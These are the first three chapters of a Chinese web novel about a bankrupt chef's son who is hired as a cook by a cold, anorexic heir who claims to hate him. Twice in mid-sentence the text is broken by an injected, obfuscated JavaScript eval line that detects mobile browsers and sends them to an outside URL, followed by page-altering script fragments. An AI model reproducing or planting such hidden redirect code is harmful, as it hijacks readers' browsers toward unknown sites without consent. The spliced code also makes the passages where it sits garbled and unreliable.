《破产后被厌食症霸总捡回家当厨子》 1. 第 1 章 会员制的高档餐厅。 喧闹的市中心,闹中取静辟出间古色古香的小院,溪水潺潺淌过假山,竹林里被安排成松塔样式的熏香散着让人宁静的松柏香。绕过这些走到走廊,隔着竹子屏风,隐隐约约能看到被隔开的小包间,还有入耳安神的古琴声。 同行者面色激动的邀功:“能来这里吃一顿可不容易啊,我提前半年就预约,今天才排上。也幸好是蒲总赏脸愿意来,我们才能有这个口福。” 被奉承着的人身材高大,但瘦得不正常,骨骼感太重,没有充盈皮肉裹盖,宛如没有任何植被覆盖的枯山,干瘦嶙峋。 听同行者这么说,不做任何回复,就连表情都没变一下,只继续往前走。 毫不掩饰的冷漠,不假辞色得傲慢。奈何运气好有个好家室,虽然才二十三岁,就继承家业成为家主,手下产业数不胜数,随便漏出来一点就足够他们吃上一辈子。 这群人好不容易把人请出来,哪还敢奢求人有好脾气陪他们说话,只敢围着捧着,继续把话说下去。 “对啊,多亏了蒲总才能吃上这口。” “也是赶巧了,再往后这家店只会更难约。毕竟可是宴大厨亲手教出来的徒弟,现在宴大厨病了不能做,再想吃那一口也就只有这儿有了。” “那个祖辈就在宫里做御厨,一直到现在还在操持国宴的宴家?” “可不吗,按理说就算是宴大厨病了没法下厨,宴家也还有其他人,但要知道,就宴大厨手艺最好,宴家才被越过一众嫡子长孙,传到宴大厨这里的。其他人手艺不过关,就剩刘厨是宴大厨从小教到大,承认味道最像他的。所以可不就剩这一口了吗。” “宴大厨不是有儿子吗。” “嗨,宴夫人去得早,就留下一个儿子,身体也不好。也不知道到底什么样,据说人压根就没进过厨房。” “现在宴大厨病了,来预约刘厨的人就更多了,我听说现在排队都到两年后了。” 说话间走到尽头,服务员引他们进去。 大厅中间摆着古琴,身穿古朴灰色唐装的男人徐徐拨弦,琴声悠扬。 被围在中间的男人停下脚步,朝琴者看去。 所有人都跟着停下,顺着他的目光看过去。 就是个大厅,符合装修风格的古色,木头桌椅和充满韵味的插花,男人垂着头看不真切相貌,只见拨弦的手指修长,腕上还带着串紫檀珠子,跟从画上走出来的一样。 这当然就是最普通的一个画面,但这位主为什么看着一眼? 有人揣摩着心意,笑问:“怎么找了个男的来弹琴?这一点也不赏心悦目啊。” 他显然揣摩错了。 因为蒲沧收回视线,漠然扫了眼他,接着往前走。 氛围瞬间凝固下去。 服务员不敢乱说,也不敢不说,脸上依旧是那副完美的微笑,解释:“这是刘厨的安排。” = 一群人终于离开。 台上弹琴的宴明舒手指不停继续拨弦,实际上已经听到自己肚子咕噜噜的叫声了。 半个月前,他还是娇生惯养只知道吃喝玩乐的二世祖。因为母亲早逝,父亲对他溺爱至极,包揽一切把他养得四体不勤。 奈何风云变幻世事难以预料,父亲突然病倒了。 着急忙慌把爸爸送到医院,跑前跑后做检查,跟医生交流确定病情和手术方案,做完手术又夜以继日不辞辛劳陪护一周,在听医生说父亲现在没有生命危险才放下悬着的心。给父亲请了个护工,打算自己回家喘口气好好休息一晚。结果回家发现门换了新锁,他的东西被收拾出来丢在门口。前两天下了场雨,他最新款的潮服、销量版球鞋、这么多年陆续搜罗来的曲谱、画集,都被雨水泡得软烂,沾满泥水。 宴明舒当即脑子嗡的一声,浑身的血都冲到脑子里,当即就报了警。 半小时后警察过来,他家大门才打开。 换锁的不是别人,就是他的爷爷。 宴家虽然是厨艺传家,但宴爷爷集所有封建思想与一体,觉得家业就应该传男传嫡传长,家务就应该女人做。结果宴家家业越过他被传给爸爸,爸爸又不听他的话取了个娇滴滴不做家务只会画画的妻子,他不喜欢宴爸爸,连带着痛恨和宴妈妈十成十相像、不会做家务只会弹琴画画、被宴爸爸娇惯得甚至不下厨房的宴明舒。 现在宴爸爸生病,爷爷马上把大伯叫过来抢占家业,顺便把宴明舒所有东西丢垃圾一样丢出去了。 面对警察的询问,爷爷和大伯言之凿凿:“这是我们的家务事,他一没成家二没立业,做不了主,他要是有什么不满,让他爸来找我。” 警察闻言自然是和稀泥,询问宴明舒要不要和爸爸说一声。 宴明舒想着还在医院里、需要静养的爸爸,硬憋着一股火气,拒绝了。 拒绝的下场就是彻底失去公道。 他又空着手出来,结果发现自己挂在爸爸那边领零花钱的银行卡被冻结了。 而他自己的银行卡,交完爸爸的住院费和护工的工资,只剩下三千多。 一肚子烦躁,不想回医院让爸爸看出不对劲,但又不知道去哪儿时,遇到了刘敞。 刘敞是他爸的徒弟,当年刘敞父母离婚,他被继父欺负,一气之下离家出走。是他爸把刘敞带回家,看刘敞不愿意上学,就教刘敞做饭手艺。他爷爷规矩多,认定教会徒弟饿死师傅,不乐意他爸把祖传手艺教给刘敞,还因为这事闹过几次,刘敞信誓旦旦说以后就是他爸的亲儿子,他宴明舒的亲哥哥。后来出师了打着他爸亲传弟子的旗号开餐厅,赚了钱还会给他买礼物,对他一直很不错。 宴明舒和他的关系算不上亲,但正是心烦的时候,被刘敞一问,就说了个七七八八。 刘敞就热心邀请他来自家学餐厅帮忙,说会给他报酬。 宴明舒压根不会做饭,闻言下意识拒绝,但刘敞把他夸得天上有地上无的,坚持说非常需要他的帮助。宴明舒心情不好没找到拒绝的机会,就跟着来了。 没想到刘敞口中非常需要他帮忙、只有他能撑得住的场子——就是在这里弹琴,工作时间为早上十点到下午三点,以及下午七点到十一点。 而刘敞口中的报酬,是月工资三万块。 宴明舒倒不是觉得身份变换,从只会吃喝玩乐的纨绔子弟变成餐厅弹琴的,抛头露脸被人看到丢人,也不觉得三万块的工资少。只是他现在需要钱,爸爸吃药复健住高级病房,一月起码三十五万,护工一月工资两万九。 三万块很多,但实在不够他用。而且上班时间看上去不长,实则把他的时间拆成碎片,让他没办法做别的事情。 最重要的是…… 刘敞压根没有嘴上说的那么重视他,说着会给他安排住的地方,实际上带他来了之后,就随意给他安排到餐厅附近的双人小宿舍。 他昨晚又气又烦,还因为认床,迟迟睡不着。好不容易合上眼,室友醉醺醺的回来,开门的声音很大,瞬间把他艰难酝酿出来的睡意炸得无影无踪。 早上也没有饭吃,室友倒是念在昨晚上吵到他,给他买了便利店的包子表达歉意。但速冻包子从皮到馅没一处能入口的,宴明舒又通宵没睡没一点胃口,刚咬一口就忍不住吐出来。室友的脸马上就变了,阴阳怪气他王子病,自己的速冻包子配不上王子。 …… 最后也没吃早饭,饿着肚子到了现在。 宴明舒又困又饿,只想等营业时间结束就找刘敞说明情况,不在这里浪费时间了。 不知道过了多久,穿着统一灰色工作服的室友过来接替他的工作,告诉他:“老板让你去休息室找他。” 宴明舒点点头,脚步虚弱到休息室。 推开门就看到休息室的桌上摆着满满一桌的菜,刘敞穿着厨师服,正坐在桌子边等他,看到他过来,招手:“明舒,饿坏了吧?快来吃饭。” 宴明舒原本是想见到刘敞就向他告辞的,但看着这些饭菜,默默把话咽下去,决定先吃饭。什么事都等吃完饭再说。 他做到刘敞对面,礼貌:“谢谢刘哥。” “没事,你是师父唯一的孩子,跟我亲弟弟没什么区别,对你好是应该的。” 宴明舒笑笑,拿起筷子,急不可耐扒了口米饭。 柴火锅先煮后蒸的大米,松散又软弹,一口下去米香十足,彻底把宴明舒的馋虫勾出来了。 他夸:“好吃。” 刘敞脸上带着笑意:“吃菜。师父生病后你很久没好好吃饭了吧?我看你都瘦了两大圈。” 宴明舒点头。 一开始爸爸情况严重完全没心思吃饭,后来好转了些,他长时间在医院,吃不惯外面的饭菜,吃得很少。昨天原本打算回家好好吃顿饭,又遇上那种事,压根没心思吃饭。 刘敞叹:“也是,你从小吃师父的手艺长大,挑嘴挑得厉害,其他人做的饭肯定都入不了你的眼。” 宴明舒客气:“刘哥的手艺也不错。” 刘敞的笑意更深,又问:“多不错?师父说我的味道是这么多徒弟里面最像他的,明舒可是吃师父的菜最多的人,评价一下。” 宴明舒夹菜的手顿了下,缓缓把菜放到嘴里,咀嚼几下,敷衍:“很好啊。” 刘敞催促:“好在哪儿?详细评价一下,有什么不好的也告诉我,不用和我客气,有什么不对的及时纠正我,我也好改正。” 宴明舒看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258714|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼刘敞。 刘敞:“说吧,你可是最知道师父手艺的人了,代师父指导指导。” 宴明舒想想也是这个理。 自己虽然不会做饭,但确实是最知道爸爸手艺的人了,现在爸爸住院不能教导,自己说一下避免他走弯路,有什么不好的。 他一一夹起盘子里的菜,给出建议。 “火候太小时间太久,口感都煮没了,下次大火爆炒赶紧盛出来。” “笋是雷竹笋?不好吃,换成笔头笋会好很多。” “这个菜倒是没问题,就是餐具不对,汤汁散开凉得快,味道都没了,换个小点的圆盘。” “刘哥的饭确实和我爸的味道差不多,但吃起来总有点不对劲,和我爸做的还是有很大差别的。” “就比如这道……” 桌子被劈头掀开,不知道夹在哪儿的小摄像机掉在地上,咕噜噜滚到墙角。 宴明舒抬头去看刘敞。 刘敞的脸涨成猪肝色,站起来揪住他的衣领,一把把他甩出去:“滚!” = 宴明舒蹲在餐厅后门。 室友出来给他送手机和钱包,不可置信:“你是个傻的吧?不会看不出来他收留你就是因为你是他师父的儿子,想要你夸他几句,说他的手艺和你爸的一模一样,吸引你爸的忠实食客来吃吧?” 宴明舒想到滚到墙角的小摄像机:“我现在知道了。” 蹲太久腿麻,他踉跄着站起来,接过室友手里自己的东西,道谢:“谢谢你,还麻烦你跑一趟。” 室友摆手,有点别扭:“没事。” 看他这个衣服被拽得皱巴巴、腿麻得站不直的可怜样,动了点恻隐之心,“你现在有地方去吗?” 还没等宴明舒说话,他反应过来似的:“算了,你小少爷这么多朋友,怎么会没地方去。” 说完,转身回去,把后门也合上了。 宴明舒看着关上的门,深深叹了口气,也顾不上什么形象,一屁股坐在台阶上,锤着麻涨的小腿。 地方是有地方去,随便找个朋友也能收留他几个月。但爸爸还在医院,他急需用钱,总不能连爸爸住院的钱都找朋友借吧。 正埋头苦想怎么办时,身边多了处阴影。 这道阴影越来越近越来越长,逐渐笼罩他,最后越过他,只剩一双皮鞋停在他腿边,站定。 宴明舒以为是自己伸长的腿挡了路,也没抬头,只是收回腿:“不好意思。” 但收了腿,那人还是没走,就这么站着。 干什么。 不会是刘敞被自己一顿批评,这么恨自己,连后门都不让自己坐,非要把自己赶走吧? 宴明舒抬头看过去。 是一个陌生男人。 很瘦,瘦得不正常。 宴明舒小时候身体不好经常生病,那时候没完全发育好,骨架比正常男孩小一些,即使后来他爸用心给他补营养,也只是给他养到正常体型。不过这半个月因为他爸生病没好好吃饭,瘦了两圈,已经是瘦到薄薄一片。但面前这个男人居然比他还要更瘦一些,偏偏个子高骨架大,这么乍一眼看过去,仿佛只有骨架没有铺上草料的稻草人。 宴明舒两天没吃饭,刚刚被刘敞有些不足但差强人意的饭菜勾出馋虫,现在正是饿得胃疼的时候。但他觉得面前这个人比自己还需要饭。 …… 如果等会儿刘敞把剩饭丢出来,自己可以分给他一半。 …… 宴明舒打量着对方脸上突出的颧骨,修正—— 三分之二也可以。 也就是这一眼,他和对方对上视线。 这个人的目光不像在看陌生人。 宴明舒刚这么想,就听到对方开口:“给你五十万,来给我做饭。” 又是一个不知道从哪儿知道自己爸爸是国宴大厨,就试图找自己做饭的人。 宴明舒诚实:“我根本不会做饭,从小到大都没下过厨房。” 对方的目光似乎更冷了些,无视他的话:“试试。” 五十万真的很诱人,但凡是来让自己做其他事情,宴明舒保准一口答应。 但他真的完全没做过饭,一点都不会,所以现在也只能艰难拒绝:“别为难我了,根本不会。” 却听到对方说:“我就是来为难你的。” ? 自己听到了什么? 宴明舒疑惑:“你说什么?” 对方久久注视着他,宴明舒毫不退缩和他对视,眼神满是震惊疑惑。 蒲沧扫过他和十八岁时相差无几的眼睛,又看他凹陷下去的脸颊和眼下青黑,咬肌鼓起,许久,方才开口:“我恨你。” 2. 第 2 章 ? 宴明舒仰头,扫视这个所谓恨自己的人。 他穿着皱巴巴的工作服、坐姿随意坐在台阶上,明明是仰视,但不管是神情和姿态,都高傲又神气。 什么东西,也配恨自己? 宴明舒挑剔的上下扫过他,确定自己对他毫无印象。 一个自己完全没印象的陌生人,恨自己就恨着呗,又不会对自己有什么影响。干嘛还非要找自己说一遍,以为自己会对他的恨意有什么表示吗? 还“就是来为难自己的”,他也不想想,他那么一点臭钱,也配…… 两天没好好吃饭、刚刚正经吃了几口饭菜,根本没吃饱反而被开了胃的肚子咕噜噜叫得更欢。 …… 配。 他真的很需要用钱。 爸爸现在没有生命危险,但根本没有完全好起来,不知道要在医院住多久,住一晚就是八千的基础费用,再加上吃药、检查、复健,一月起码三十二万,还有护工一月两万四的工资。如果将来有更好的治疗方案,也是一大笔花销。 他急需钱,所以很需要能给他提供大额、稳定、持续收入的工作。 …… 就算不说那些,当务之急就是…… 他现在真的很饿,也需要地方住。 宴明舒挑剔扫视的视线逐渐放缓,最后一点点往上,眼神逐渐放软。 他虚伪的挤出个一点都不和善的眼神:“月薪?” “月薪。” “税后?” “税后。” 宴明舒接着询问:“那工作期间的餐食和住宿?” “包吃住。” “住哪儿?” 雇佣要求的人并没有想这么多,现在停顿半秒,语气强硬:“你是来给我做饭的,跟工作无关的事不要问。” 宴明舒才不惯着他:“这影响到我能不能全身心投入工作,就是和工作有关的事情。” 两相对峙。 最终是对方退让,说出自己现在住的地址。 宴明舒记得这个小区,都是千平独栋别墅,距离商圈不过二十分钟的车程,得天独厚的位置加上房型面积,房价贵得吓死人。 在刚刚的对峙中取得胜利,宴明舒像确定了自己在食物链上层的动物,飞快调整自己和对方的地位,挑剔:“我不住保姆房。” “次卧。” 宴明舒站起来,结束了这场对雇佣者的盘问:“记得签合同,给我交五险一金。” 他越过对方,趾高气昂往前走,雇佣他的人落后一步跟在后面,看上去好像宴明舒才是那个花钱雇了小可怜的人。 宴明舒理直气壮:“现在对你进行最终测试,看你能不能掏出每月五十万的高额薪金——我要吃饭,现在,这家店。” 他指着这家会员制餐厅正门“桃源”的牌匾,等对方的反应。 不管刘敞水平如何,这家餐厅的噱头确实挺足。国宴大厨亲自教出来的主厨、优雅高级私密性好的环境、根据当日食材随意发挥的菜品、还有固定的营业时间,想来这里吃饭,就得按照他的规定来。 而现在是下午三点,不是桃源的营业时间,刘敞为了保证自己餐厅的逼格,轻易不会开门接待,毕竟开了这个头,以后其他人效仿,他立起来的规矩可就成了个笑话。 宴明舒一方面实在是太饿了,另一方面,就是想为难这个所谓恨自己要为难自己的人。 但对方顺着他手指的方向看了眼,表情丝毫不变,打了个电话,吩咐:“我要吃桃源,现在。” 声音冷淡,有种无机质的沙,配合他瘦脱相的身体,有种没来得及覆盖仿真皮肤的机器人的感觉。 要是以往遇到这种人,宴明舒一定会多看几眼,探寻他身上这种无机质的源头,甚至会邀请他来当自己的模特。奈何现在父亲还在医院,他肚子饿得马上要晕倒,还是在对方说了恨他在先的情况下,宴明舒对他没有任何多余的感情,只是想——神经病。 很快,桃源的门打开了。 刘敞微微苟着背,满脸阿谀的笑,快步走出来。 在看到门口的宴明舒时,表情短暂僵硬,恶狠狠的给了他一个“不要闹事”的眼神,随后快步朝宴明舒身后的人走过去:“蒲总,是刚才的菜色不满意吗?我这就重新给蒲总做……” 他说着,站到男人身边,伸手邀请。 宴明舒收起手机,看了眼满脸写着巴结的刘敞,再看被刘敞巴结着的男人,率先走进去。 刘敞:“宴明舒,你……” “走吧。” 男人打断他。 刘敞看着宴明舒径直往里走的背影,脸色唰一下就变了。 = 坐下没等多久,穿着黑西装的助理进来,递上雇佣合同。宴明舒仔细翻阅,确定就是刚刚说好的待遇条件,这才签下自己的名字。 也就是这时候,他才知道自己雇主的真实姓名。 蒲沧。 宴明舒垂眸想了想,确定自己就是不认识他。不过这个蒲姓……再结合刚刚刘敞的态度,倒是让他想到对方的身份。 蒲家。 爷爷那辈灰色产业起家,等到了上一辈,铁腕手段引导并实行了家族转型,大众津津乐道他和当红女星的桃色新闻、跟房间里的蟑螂一样冷不丁就会出现并遍布各个角落的情人和私生子,还有各个私生子之间的勾心斗角栽赃陷害。一年半前,七十八岁的蒲老总在私人医院病逝,媒体大肆宣扬,接手蒲家偌大家业的,不是五十来岁的嫡长子,而是不知道从哪儿冒出来的二十来岁私生子。 那段时间财经新闻上播蒲家因资产变动导致的股价变动、娱乐新闻上是各个私生子质疑哭惨的视频,讨论度极高。不过也就是那小半年,后来那个才二十来岁的年轻家主以云淡风轻完成了收购案、雷霆手段赶走公司里不配合的老股东、专业高效应对反垄断调查,赢得了信任,压下所有质疑的声音。 那半年闹得实在太大,就连宴明舒这种对八卦不感兴趣的人,出门在外也经常会听到。所以现在很快锁定蒲沧身份。 但随之而来的,就是觉得他更神经病了。 自己这个身份怎么也和蒲家扯不上关系,他干嘛恨自己? 这么有钱还当神经病。 他暗自撇嘴,目光看向包间大门。 服务员撩开帘子走进来,姿态款款,优雅给他们上了米饭和还冒着热气的菜。 宴明舒实在是太饿了,压根没功夫看蒲沧,拿到米饭甚至没来得及拿筷子,端起冒尖的小碗就嗷呜咬了一大口。 咬完这一口,他把米饭少了一口小尖尖的位置正对着自己,坐直了,姿态优雅神情自然的接过服务员递过来的筷子。 和优雅姿态截然不同的,是不住咀嚼着的腮帮子。 蒲沧看着他不住鼓动的腮帮子,嘴角几不可查往上挑了下。但不到半秒的时间,就想到他是多饿才能这么急迫、想到自己来找对方的初衷,嘴角又完全拉下来,恢复冰块似的冷淡表情。 宴明舒接过筷子已经开始吃了。 从小养出来的仪态,即使这时候饿急眼了,也还是细细咀嚼慢慢吃。 吃到半饱,宴明舒终于分出眼神看向对面的人。 蒲沧正襟危坐,压根没拿筷子,目光没什么焦点,好像在看自己,又好像在看桌上的饭菜。 宴明舒的目光在他袖口处细瘦的腕骨上多停了两秒。 正常人再怎么克制,也不应该瘦成这样。 宴明舒收回视线,接着吃饭。 近两天没好好吃饭,现在没敢吃太饱,感觉不饿了,就放下筷子,用勺子舀汤喝。 吃到差不多,刘敞来了。 一改刚刚把宴明舒扫地出门的蛮横,现在伏低做小满脸谄媚。想来是刚刚炒菜时调整好了心态,现在什么事都没发生过一样,叫过“蒲先生”后,又亲昵的叫宴明舒“明舒”,问:“吃好了吗?现在没多少食材,影响发挥。” 他试探,“明舒认识蒲先生?怎么不早点说,带他早点来,食材也新鲜,想吃什么告诉我,我……” 宴明舒一边喝汤一边打量他的神情,欣赏他拙劣的表演和试探,此刻终于欣赏够了,不耐烦了。他放下勺子,银勺碰上瓷碗,发出清脆的声音。 这点声音好像什么开关键,刘敞的试探就在这道声音里戛然而止,表情也僵硬起来了。 宴明舒开肩,懒洋洋往后仰,肩膀倚在椅背上,鼻孔朝天,讥讽:“早点来又能怎么样,你做饭难吃又不关食材的事。” 他目光一一扫过桌上的菜:“火候太小口感都煮没了。掌握火候大小不是最基础的吗?学了这么多年还没会,废物。” “笋太老,还有苦味,连这种基础食材都不会处理你当什么厨师。” “汤的勾芡太重,糊嘴难吃。” “这个更是灾难,你甚至不愿意自己熬番茄酱,买甜味番茄酱再用盐压甜味,齁得人嗓子疼。” “做饭这么难吃就别打着我爸的招牌招摇撞骗了,不过就是指点过几句的帮厨,也配认亲传弟子的名号?” 刘敞的脸色红一阵白一阵,此刻终于意识到,宴明舒这个从小被宠大的少爷性格,不可能吃哑巴亏。 他恨宴明舒这样,没吃过苦,从小过着好日子,一次厨房都没下过,还站着说话不腰疼,高高在上的挑刺,把他辛辛苦苦做出来的饭菜贬得一文不值。最恨的,还是宴明舒命好,自己没什么本事,但总能找到有本事的人当靠山。之前是那个爹,现在是如雷贯耳的蒲沧,自己恨之入骨,还要忍气吞声捧着他。 他苦笑,好像包容不懂事的小孩子:“明舒,不要赌气。” 宴明舒闻言冷笑一声。 赌气?把自己客观的评价打成主观的泄愤,倒显得他有担当又大度。 他翻了个白眼:“谁跟你赌气了。” 没再管刘敞,宴明舒看对面依旧面无表情的男人,叩了叩桌子。 蒲沧的目光放到他身上。 宴明舒微抬下巴,问:“尝尝,看看刘大厨精心烹制的饭菜怎么样?” 蒲沧还是没拿筷子,配合回答:“难吃。” 宴明舒笑了下,满满的讥讽意味,眼神看着蒲沧,话是刻意说给刘敞听:“你都没尝怎么知道不好吃,他的菜已经烂到光看成色就难以下咽了?” 蒲沧终于拿起筷子,夹了面前的那道菜。夹菜和往嘴里送的速度很慢,等把菜放到嘴里后,就像吃到毒、药一样,仓促又仔细得咀嚼很多下才往下咽。好像就连吞咽的动作都格外让人为难,喉结上下滑了两下才完全咽下去,之后更是直接拿起杯子开始喝水。 如果说刚刚被宴明舒挑刺时,刘敞还能告诉自己是因为宴明舒挑嘴又怀恨在心刻意报复,但看蒲沧吃饭时艰难的样子,刘敞的脸色彻底灰败下去。 宴明舒没看他,只是看蒲沧喝水时苍白而冷峻的脸,心想这神经病演技还挺好,面对这味道较大多数餐厅都算得上不错的饭菜,还能演绎出这么真挚的食不下咽。 单是想想都能想到刘敞现在会是什么表情…… 宴明舒心情大好,看在他这么配合的份上,就当最终测试成功了吧。 他宣布:“这么难吃就不要吃了,我们回去吧。” 蒲沧跟着站起来往外走,语气硬邦邦的:“不要用这种语气和我说话。” 宴明舒:“……” 想到自己签好的工作合同,他对自己的甲方妥协:“好的。” 他甚至放慢脚步,让蒲沧走在前面。 刘敞看着他俩的互动,都顾不上被否定后的挫败感了,惊疑不定:“去哪儿?老爷子和大伯不是不让你回去了吗?明舒你等等,等我过两天闲下来就去看师父,把你的事都告诉他,他一定会为你做主的。” 对甲方妥协是为了工资,对刘敞可就没什么好脸色了。 宴明舒回过头,恶狠狠:“我宴家的事,用不着你一个外人多嘴。要是让我知道你告诉我爸,你就别想在餐饮界混了。” = 车轮碾过马路,朝目的地疾驰而去。车内平稳寂静,司机开车,前来送合同的助理坐在副驾驶。而后座,宴明舒和蒲沧之间隔着老远距离,不做任何交流。 宴明舒倚在椅背上,虚虚看着车窗外不断后退的风景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258715|166497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直到车驶入别墅大门,停下。 意式装修风格低调,但不管怎么低调,别墅每一处无一不透露出金钱的痕迹。 蒲沧看上去并没有要给他介绍的想法,只自顾自往里走。宴明舒跟着他越过客厅,打量着这个自己即将工作并住下的别墅,看到摆着桌椅的餐厅。 想到自己要给这个有钱的神经病做饭,这可能就是自己呆得最多的地方。他偏离轨道走过去看了看,这才发现餐厅那边开了扇门,推开门发现里面是厨房,有两个穿着统一白色制服的人在处理食材。 或许是听到开门声,两个人站起来,先看向宴明舒,礼貌点头算招呼,之后看向宴明舒身后的蒲沧:“蒲先生。” 蒲沧没说话,只用眼神一定,微微颔首算回应。 宴明舒看蒲沧:“她们已经在做了,应该不需要我插手吧。” 蒲沧看着已经被准备得差不多的食材,和已经煮上的汤,停了两秒才说:“明天正式开始。” 不知道为什么,语气有点冷。 说完,蒲沧转身离开。 宴明舒跟上去,问:“你都有两个做饭阿姨了,干嘛还找我?” 蒲沧没回答。 两人没再说话,直到蒲沧带他走到了次卧:“这是你的房间。” 宴明舒这么一扫,房间里用品一应俱全,而床上……除了柔软的被褥,还摊着一套蓝白色的、刚刚在做饭阿姨身上看到的制服。 他低头看自己身上桃源的灰色工作服,再看看这套蓝白色制服,此刻终于有了点卖身为奴的实感。 他客气:“你先出去吧,我换上衣服就出去。” 蒲沧离开了。 宴明舒把身上皱巴巴的灰色工作服脱下来丢到地上,换上蓝白色制服。穿上之后简单整理一下衣领,还是有点气不过,走过去狠狠踩地上的灰色制服,好像在踩翻脸不认人的刘敞,还有那么多惹自己不高兴的人。 踩了一阵,总算消了气,他一脚把被踩得皱巴巴的衣服踢到垃圾桶里,转身要出去。 这时候手机响了,是爸爸的护工打过来的视频通话。 宴明舒连忙接起来,看着屏幕上爸爸虚弱的样子,心里酸酸的。 宴父却是笑眯眯的,看他表情有点不对,问:“怎么这个表情?不开心?” 宴明舒摇头:“没。” 宴父注意到他身后陌生的背景,问:“你没在家吗?” 宴明舒面不改色扯谎:“嗯,在我朋友家住。他家离你的医院更近一点,还有阿姨做饭,比我自己在家舒服多了,我就过来住了。” 宴父不赞同:“又不是没地方住,好端端的去别人家里住算怎么回事。” 宴明舒撒娇:“那你不在,我自己一个人在家空荡荡的,你快点好起来,我就跟你一起回家了。” 宴父先是无奈笑了笑:“你啊。” 等了两秒,表情收敛一点,问,“是不是爷爷和大伯又为难你了?” 把他赶出家门这件事他爷爷不是第一次干了。早在他十八岁那年,他爷爷就趁他爸出国交流,以锻炼为由把他丢到千里之外的小山村当支教老师。他叫天天不应叫地地不灵,吃尽了苦头。好在他爸半个月后就回来了,把他接回去后和爷爷大吵一架,还气病了,之后身体就不是很好。 宴明舒现在想想,总觉得现在爸爸身体不好的源头就是那次。所以这次,他不想爸爸知道后再着急上火影响养病,才这么忍气吞声瞒着。 他半真半假哄:“是有点,就还和之前一样,和他们说不上话。” 他时刻关注着爸爸的表情,担心爸爸生气,紧急转移话题,“其实也不是爷爷他们,是刘敞。你病了之后他也不去看你,我今天跟朋友去他家吃饭,他问我做得怎么样,我一开始给他留面子说做得很好,他非要我说实话,我说了,他就生气了。真是的,怪不得这么久了做的饭还是那样。” 宴父的表情还是差下去,但不觉得刘敞能给宴明舒多大的委屈,也没太担心,安慰了几句宴明舒,又保证自己好了马上就召告天下剔除刘敞的徒弟身份。 和爸爸说了这么一会儿,等宴明舒再下去时,已经到饭点了。 蒲沧正在餐厅坐着,宴明舒这才发现他换了身衣服,家居的T恤布料柔软,松松垮垮的挂在他身上,显得人更瘦了。脸上的表情还是那么冷,就连眼睛都是金属的冰冷质感。 桌上放着做好的饭菜。 避风塘螃蟹,炝炒菜心,虾仁西蓝花,蒜爆空心菜,玉米排骨汤。还有两小碗米饭,一碗在蒲沧面前,另一碗在蒲沧旁边的位置上。 宴明舒扫了眼餐桌,又往厨房里看,试图找到两个阿姨,取取经。 然后听到蒲沧的声音:“吃饭。” 和谁说话? 宴明舒左右看看,实在没在这里看到其他人。 所以答案就很明显了。 我? 所谓的包食宿不会是要和他一起吃饭吧? 宴明舒几分疑惑,站在原地没动。 蒲沧看过来,看着他的眼睛,重复:“吃饭。” 吃就吃。桌上这么多菜,闻起来还挺香的。 宴明舒坐到蒲沧旁边,一点不客气的夹了块螃蟹。 味道还好,调味算及格,可能是等了太久有些凉了,口感不如刚做出来时好。 宴明舒把菜色一一尝过去,发现阿姨确实很有水平,做的饭味道都还算不错,算不上无可挑剔,但也不比刘敞差。 但一抬眼,蒲沧还是在桃源吃饭时那个样子。 夹菜的速度很慢,仿佛摆在桌上的不是可口的饭菜而是让人难以下咽的东西,送入口中后要咀嚼很久才能艰难咽下去,让人怀疑他的嗓子出了问题,吞咽才会这么困难。 宴明舒终于意识到不对劲,放慢吃饭速度,观察着他。 蒲沧只吃了小半碗饭,菜吃得更少,鲜甜的排骨汤更是尝都没尝一下,就放下筷子,离开了。 宴明舒看着他的背影,T恤下几乎要突出来的肩胛骨,还有摆动时骨骼感明显的手腕,心下确定。 他不会…… 有进食障碍吧? 3. 第 3 章 餐厅大而冰冷。蒲沧离开后,就只剩宴明舒一个人,还有桌上没怎么动过的饭菜。 下午三点多才在刘敞哪儿吃了,现在一点都不饿,他也就不吃了,放下筷子在餐厅等了会儿,等到来收拾餐桌的保洁阿姨。 他询问:“阿姨,你们平时都住在哪儿啊?” 阿姨看到他身上同样的蓝白色制服,告诉他:“我们当然是住在二楼的保姆间啊,没给你分配房间吗?你上去问问。” “我是负责做饭的,其他两个做饭的阿姨是住在哪个房间?” 阿姨告诉他房间号,宴明舒道谢,上楼找到房间,敲门。 房门很快打开了,其中一个年纪大一点的阿姨脱下蓝白制服,现在穿着件芋紫的T恤,表情有点拘谨。另一个年轻点的阿姨穿着睡衣,正蹲在衣柜前往行李箱里装衣服。 看阿姨已经换了衣服要休息了,宴明舒就没进去,站在门口表明来意:“我也是被雇来给蒲先生做饭的,以后大家就是同事了,你们叫我明明就可以。” 正在收拾衣服的阿姨闻言回头看,连忙站起来,走到门口邀请:“好,明明,我姓金,你叫我……” 宴明舒嘴甜:“金姐。” 金姐笑笑,和他介绍另一个阿姨:“这是王婆。” 宴明舒招呼:“王婆。” 王婆让出房门的位置,问:“进来坐坐?” “不用不用,本来打算晚饭时过去取取经,耽搁了这么久,这时候来打扰你们已经很不好意思。” 宴明舒客气询问,“主要是想来问问,蒲先生平时有没有什么忌口?” 王婆摇头:“没有的,蒲先生没什么忌口。” 金姐补充:“蒲先生吃得很少,又经常不在家,中午都在公司吃不用你管,如果晚上要在家吃饭,司机会提前发消息,你看到信息自己拟菜单做好就行,他不管你做什么的。第二天早上再做个早饭,蒲先生九点要去工作,一般八点半吃早饭。” 宴明舒点头。 